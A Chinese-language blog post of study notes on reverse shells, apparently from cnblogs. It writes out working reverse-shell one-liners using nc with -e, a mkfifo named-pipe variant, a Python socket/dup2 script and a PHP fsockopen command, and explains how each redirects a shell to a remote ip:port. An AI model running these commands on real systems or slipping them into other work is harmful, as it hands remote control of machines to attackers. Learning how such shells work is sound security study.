首页 > 系统相关 >学习nc反弹shell过程中所想到的

学习nc反弹shell过程中所想到的

时间:2023-02-02 10:46:34浏览次数:51  
标签:tmp bin shell socket ip nc 学习 port

  nc反弹shell可以使用如下命令:

nc -e /bin/bash ip port

   但是如果nc的版本没有e选项,那么:

mkfifo /tmp/f # 或者 mknod /tmp/f p
cat /tmp/f | /bin/sh -i 2>&1 | nc ip port > /tmp/f

  这里逐步解释一下,mkfifo /tmp/f创建一个管道文件,这个命令与mknod /tmp/f p等价。

  cat /tmp/f读取管道里的内容;/bin/sh -i 2>&1以交互方式运行/bin/sh,并将标准错误重定向到标准输出;nc ip port > /tmp/f连接 ip:port 并将输出重定向到/tmp/f。

  这条命令的逻辑是这样的:cat /tmp/f等待并从命名管道中获取命令,然后将获取到的命令通过匿名管道发送到/bin/sh执行,然后/bin/sh将返回的结果再通过匿名管道发送给ncnc则将命令的结果发送到 ip:port ,如果 ip:port 再次输入的命令,那么这个命令被nc接收后会被重定向到/tmp/f。于是又开始循环。大致流程如下图所示:

  总结下来,反弹shell的基本逻辑就是:

    1. TCP等连接
    2. IO重定向
    3. 允许执行系统命令

  再记录下python和php反弹shell的方法:

    • python:
import socket, subprocess, os
# TCP连接
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((“ip”, port))
# IO重定向
os.dup2(s.fileno(), 0) # 将socket的文件描述符复制到标准输入
os.dup2(s.fileno(), 1) # 将socket的文件描述符复制到标准输出
os.dup2(s.fileno(), 2) # 将socket的文件描述符复制到标准错误
# 执行/bin/bash -i
p = subprocess.call([“/bin/bash”, “-i”])
    • php:
php -r '$sock=fsockopen("ip",port);exec("/bin/sh -i <&3 >&3 2>&3");'

 

标签:tmp,bin,shell,socket,ip,nc,学习,port
From: https://www.cnblogs.com/brilliantHongXi/p/17085165.html

相关文章

  • shell脚本之if,case语句与for循环
    一、if语句if[条件]then命令1 命令2…..elseif[条件]then命令1 命令2….else命令1 命令2…..fifi if语句实例vima.sh......
  • Difference between "array" and "&array"
    Theybothareresultinginsameaddressbuttheyaredifferenttypesofaddresses.Basically,“array”isa“pointertothefirstelementofarray”but“&......
  • ELK系列(7) - 测试环境下Logstash异常退出:block in multi_receive_encoded
    问题与分析在本地测试无误后将ELK部署到了测试环境,结果第二天发现Logstash挂掉了,一开始以为是自动部署之类导致的问题。之后几天时间里Logstash总是会down掉,查看了下日志文......
  • xcall和xsync命令
    xcall命令#!/bin/bashparams=$@i=1for((i=1;i<=3;i=$i+1));doecho=============hadoop0$i$params=============sshhadoop10$i"$params"donexs......
  • shell基础
    shell开头#!/bin/bash#!/bin/sh#!/usr/bin/awk#!/usr/bin/envpython#!/usr/bin/perl这几行在第一行,不再第一行就是注释不用的话就用相关解释器带上文件名执行......
  • 【图深度学习】图深度学习大纲
    图深度学习大纲第1章绪论1.2图深度学习的动机(两点原因)1.5图特征学习的简要发展史特征工程特征学习图特征选择图表示学习1.7扩展阅读特征选择相关图书......
  • 【Pytorch】PyTorch机器学习步骤
    PyTorch机器学习步骤机器学习步骤准备数据选择模型用于前向训练的模型用于计算损失的损失函数用于更新参数的优化器训练循环计算前馈结果计算损失求梯度更......
  • Command line arguments (argc, argv in main function)
    argc(ARGumentCount)isintandstoresnumberofcommand-lineargumentspassedbytheuserincludingthenameoftheprogram.Soifwepassavaluetoaprog......
  • F5内核参数的简要学习
    前言最近学习了很长时间的Linux内核参数但是大部分是纸上谈兵.也没有一个好的系统用于学习和参照晚上搜索F5资料时发现F5有一些iso和ova文件就想着下载学习一下.看看......
  • `contos7`安装`vncserver`
    contos7安装vncserver安装epel桌面启动epelyuminstallepel-release安装epelyumgroupinstallxfce安装中文字体yuminstallwqy*yuminstallcjkuni*......